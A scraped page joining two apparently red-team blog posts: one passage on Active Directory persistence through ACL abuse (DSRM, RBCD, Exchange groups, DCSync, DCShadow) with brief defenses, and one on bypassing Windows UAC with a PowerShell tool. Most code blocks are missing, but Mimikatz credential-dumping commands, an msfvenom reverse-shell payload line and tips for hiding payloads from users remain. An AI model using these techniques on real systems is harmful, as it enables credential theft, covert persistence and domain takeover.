- Extract the hash for DSRM administrator (Invoke-Mimikatz -Command '"token::elevate""lsadump::sam"') or we can  also chain this with modification of registry keys, as discussed previously, to obtain the DSRM hash without admin privileges.

- Modify the permissions of the above registry key so that a user we control can change it on demand.
- Use Mimikatz PTH to connect to the DC.

Lets try it. Run the below command to modify the DSRMLogonBehavior registry key and allow labuser to modify it anytime. If the key doesn't exist, it is created:
As labuser, we can modify the registry key. Note that this needs to be coupled with modification of ACL of a remote access method (PSRemoting, WMI, Remote Registry or DCOM). Let's use PSRemoting for that:

Now, we can use PTH (note the /domain parameter in the below command) to access the DC. We need to use NTLM authentication to access the DC as we are using a local account:

Persistence using DC - Resource-based Constrained Delegation (RBCD)

Resource-based Constrained Delegation enables the resource owner to set delegation to it. Unlike the traditional Delegation, DA privileges are not required to set RBCD.

As per this post, for Generic DACL abuse of RBCD, if a user we control has Write permissions on a computer object, that user can configure RBCD on the machine. This allows the ability to access the target machine as any user including DA.

Use the below command to give labuser permissions to configure RBCD on 'ops-file' by modifying the ACLs of ops-file computer object. This will need DA privileges:
As labuser, run the below command (needs the ActiveDirectory module) to configure RBCD from attacker machine ops-user1$ to ops-file. This enables us to access ops-file as any user when we impersonate the ops-user1 machine:
We can extract the AES256 keys for the ops-user1$ account by dumping credetials on that machine (Invoke-Mimikatz -Command '"sekurlsa::ekeys"').

Now, we can use Rubeus to impersonate a DA which effectively means local admin on ops-file.
Please note that we are merely impersonating the DA for accessing ops-file. We cannot access any other machine from ops-file as DA.

Persistence using DC - Exchange Groups

Exchange creates multiple groups on installation. Groups like Exchange Servers, Exchange Trusted Subsystem and Exchange Windows Permissions have interesting permissions. The groups are added in a new container 'Microsoft Exchange Security Groups'. 

None of the Exchange Groups is a protected group so we can modify their ACLs for persistence.
Let's target the Exchange Windows Permissions group which has WriteDACL permission on the domain object (or even forest root domain object depending on the installation).

In our example, we target the Exchange Windows Permissions group on the forest root powershell.local. 

Using DA privileges (on forest root in this case), run the below command to provide labuser WriteDACL permissions on the Exchange Windows Permissions group:
Now, as labuser, we modify the ACL of the Exchange Windows Permissions group and add WriteMember rights to labuser. Note that this is just one of the paths once we have WriteDACL on the group:
Next, add labuser (or a proxy user) to the Exchange Windows Permissions group. Because of this group membership, labuser will have WriteDACL rights on the domain object of the forest root:
Usig the WriteDACL rights with labuser, add DCSync rights for labuser:
Finally, run the DCSync attack:

Below is a video of the attack:


Other well known techqniues implemented in the RACE tookit are:

AdminSDHolder

ICYMI, the ACL of the AdminSDHolder is overwritten on all Protected Groups by an automatic process called SDProp every 60 minutes. This means any changes we do to the ACL of AdminSDHolder will be propagated to all the Protected Groups too. Therefore, it is a very interesting persistence technique.

Use the below command as DA to add WriteDACL permissions for labuser on AdminSDHolder:
This allows us to push whatever permissions we want on all the Protected Groups as labuser:

DCSync

The most famous ACL abuse. We can modify the ACL of the domain object to provide DCSync rights to a user we control. Run the below as DA:

DCShadow

DCShadow provides very useful forest persistence. See this and this.

With DA privileges on forest root and from a machine joined to forest root, run the following command to modify ACLs of multiple objects. This will allow to run DCShadow without DA:
The above command modifies ACLs for:

The domain object.
- DS-Install-Replica (Add/Remove Replica in Domain)
- DS-Replication-Manage-Topology (Manage Replication Topology)
- DS-Replication-Synchronize (Replication Synchronization)

The Sites object (and its children) in the Configuration container.
- CreateChild and DeleteChild

The object of the computer which is registered as a DC - ops-user1 above.
WriteProperty (Not GenericWrite)

The target object - serviceuser above
WriteProperty (Not GenericWrite)

We can now run DCShadow against serviceuser from ops-user1 as labuser.

Previous work

Directly taken from my talk slides:
- ACL abuse is not something new, system administrators have been using this for so many years!
- (French) Chemins de contrôle en environnement Active Directory
https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/

Defenses

Protecting your privileged users is definitely the best defense.

Event logs are also useful for detecting these attacks. While there are almost no logs for ACL changes in the default configuration, we can still use the security logs when someone accesses a target machine using Events 4624, 4634 and 4672 in case of admin logon.

For ACL change logs, configure Auditing for ACL changes. See this technet article for guidance.

Regular ACL auditing is also useful in weeding out unnecessary or malicious ACEs. We can use tools like BloodHound, ADACLScanner and PingCastle for that.

A project I created Deploy-Deception, can be used in creating accounts which have mis-configured ACLs and have verbose logging enabled. It is useful tricking an attacker in assuming they found object(s) with misconfigured ACLs

Future Work

Directly taken from my talk slides:

- Service Permissions are stored in Registry. So, that is a place ripe for abuse.
-  As noted earlier, WMI Permanent Event Consumer needs to be explored more.
- For the RACE toolkit, work on hiding the ACE we introduce is highly desirable. Also, implementation of more Registry Autoruns! Currently, Remove option does not work for multiple functions.

That is all! Hope you like it!


Slides of the DEF CON 27 talk:





Bypassing UAC with PowerShell

$
0
0
Recently during a Red Team engagement, I got shell access to some user machines using Client Side Attacks. In many cases, the users had administrative privileges but I was stuck into non-elevated PowerShell reverse shells.  UAC (User Account Control) was the spoilsport here. I hate UAC, it is annoying yet it "is not a security boundary". I read and tried stuff for bypassing UAC and learned that it is trivial to bypass it. In this post, we will go through various methods and code required to bypass UAC.

The tool of choice for bypassing UAC is UACME https://github.com/hfiref0x/UACME. This awesome tool  implements various methods and is thankfully open source. Thanks to @hFirF0XAs.

As I always try to keep the post-exploitation phase within PowerShell, I tested UACME and implemented some of the methods using PowerShell . I give you Invoke-PsUACme.ps1. It could be found in the Escalation category of Nishang. 
Lets begin with the sysprep method which is the most commonly used method of bypassing UAC. Made famous by Leo Davidson in 2009 (details here), it involves the following steps:

1. Copy/plant a DLL in the C:\Windows\System32\sysprep directory. The name of the DLL depends on the Windows version.
CRYPTBASE.dll for Windows 7
shcore.dll for Windows 8
2.  Execute sysprep.exe from the above directory. It will load the the above DLL and execute it with elevated privileges. 

In fact, all the UAC bypass methods involve playing with DLL and executable names and locations. See the table below:

Method NameWrite DLL toDLL NameExecutable to Use
sysprepC:\Windows\System32\sysprep\CRYPTBASE.dll for Windows 7 and shcore.dll for Windows 8C:\Windows\System32\sysprep\sysprep.exe
oobeC:\Windows\System32\oobe\wdscore.dll for Windows 7, 8 and 10C:\Windows\System32\oobe\setupsqm.exe
actionqueueC:\Windows\System32\sysprep\ActionQueue.dll only for Windows 7C:\Windows\System32\sysprep\sysprep.exe
migwizC:\Windows\System32\migwiz\wdscore.dll for both Windows 7 and 8C:\Windows\System32\migwiz\migwiz.exe
cliconfgC:\Windows\System32\ntwdblib.dll for Windows 7, 8 and 10C:\Windows\System32\cliconfg.exe
winsatC:\Windows\System32\sysprep\Copy winsat.exe from C:\ Windows\System32\ to C:\Windows\System32\sysprep\ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10C:\Windows\System32\sysprep\winsat.exe
mmcC:\Windows\System32\ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10.C:\Windows\System32\mmc.exe eventvwr
Builds Tested:
Windows 7 build 6.1.7601.65536
Windows 8.1 build 6.3.9600.0 
Windows 10 build 10.0.10240.0
Now, to copy the DLL to the the sysprep directory, we need elevated privileges. The two most popular ways of achieving this elevation are: use an IFileOperation COM object or use Wusa.exe with its "extract" option.
Currently, Invoke-PsUACme uses the Wusa method. Since Wusa  is set to auto-elevate, we can use it to extract a cab file to the sysprep directory. A cab file could be created using the makecab utility.
Above commands are there just for explaining what Invoke-PsUACme does. We need not run the commands manually.
Now, the DLL which Invoke-PsUACme uses is Fubuki from the UACME project with a minor change. Instead of executing cmd.exe, we tell the DLL to execute cmd.bat from C:\Windows\Temp. It is this cmd.bat which will contain our payload to be executed on the target. This provides us a lot of flexibility while executing complex attacks.
Above DLLs (for 64 bit and 32 bit) are hard coded in the script in DLLBytes64 and DLLBytes32 variables. The script is able to determine the bit-ness of the process from which it is called and uses the apt DLL.

Coming to the more interesting part, Invoke-PsUACme could be used this way:
Nice, we are able to bypass UAC! The default payload just checks if the bypass was successful. Note that the -noexit parameter is passed to PowerShell in cmd.bat so that we can see the output.

Custom Payload

We can always use custom payloads as well:
Note that we need to specify the powershell.exe as well. Whatever is specified for the Payload parameter ends up in C:\Windows\Temp\cmd.bat. You can always change the path to the batch file using the PayloadPath parameter after changing it in the DLL.
We will come back to more practical use of the Payload parameter in a minute.

Custom DLL

To use a Custom DLL, we can use the CustomDLL64 and CustomDLL32 parameters. For example, lets use the original 64 bit Fubuki DLL from UACME and use it with Invoke-PsUACme
We can also prvide a byte array of DLLs to the DLLBytes64 and DLLBytes32 parameter.

Ok, fine. How is it useful?

Lets recreate the scenario with which I started the post, we have few reverse PowerShell shells with no elevated rights. We can use Invoke-PsUACme to execute commands and scripts with elevated rights. Lets use reverse TCP one liner from Nishang, encode it using Invoke-Encode and use it with Invoke-PsUACme:
Awesome! We successfully bypassed UAC and elevated our privileges. To verify it, we ran Get-PassHashes from Powerpreter.

Once elevated privileges are there, we can always elevate to SYSTEM using Enable-DuplicateToken from Nishang/Powerpreter.
Bingo!

In fact, after SYSTEM privs we can use Invoke-Mimikatz from Powersploit for using domain tokens as well. Get your Golden/Silver tickets right here! In case you cannot pull scripts from a web server as in above example, use Invoke-Encode to encode them as compressed base64 and use with the EncodedCommand (-e or -encodecommand) parameter of powershell.exe. You may like to use '-WindowStyle hidden' paramter of PowerShell to avoid showing any pop ups to the user.

There are limitless opportunities with this. Although, metasploit has its own implementation of UAC bypass, we can get a meterpreter with elevated privileges. We can generate a meterpreter in PowerShell using msfvenom: ./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.230.154 -f psh-reflection

I can never stop stressing how useful PowerShell is for pen testing Windows network. For example, we can use Invoke-PsUACme as a payload with the Client Side attacks initially as well. Lets use Invoke-PsUACme with Out-Word from Nishang. Lets make the function call from the Invoke-PsUACme script itself to avoid unnecessary complex command.

Sweet! An elevated interactive reverse PowerShell shell.

As you can see implementing existing techniques in PowerShell is very rewarding. It not only increases the understanding of PowerShell but the technique as well.

Limitations


Since, Invoke-PsUACme is based on the UACME project which itself implementd techniques used by malware, there are chances that DLLs dropped by it are detected by AV in future. Going by the past record, minor changes in the DLL source should solve this problem, whenever it arises.

Wusa.exe on Windows 10  has no "extract" option. Therefore, Invoke-PsUACme does not work on Windows 10 currently. Please feel free to implement IFileOperation or any other method. I welcome pull requests.

There are other implementations as well of UAC bypass in PowerShell. See this http://www.powershellempire.com/?page_id=380

To better know about the UAC bypass, follow the below links:
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html

Hope you enjoyed the post!

Shameless self promotion

If you liked the post and want to learn more and/or want to support my research and work, join me for a two days training "PowerShell for Penetration Testers" at:
DeepSec, Vienna (November 17-18th, 2015) - https://deepsec.net/speaker.html#WSLOT192




Viewing all 79 articles
Browse latest View live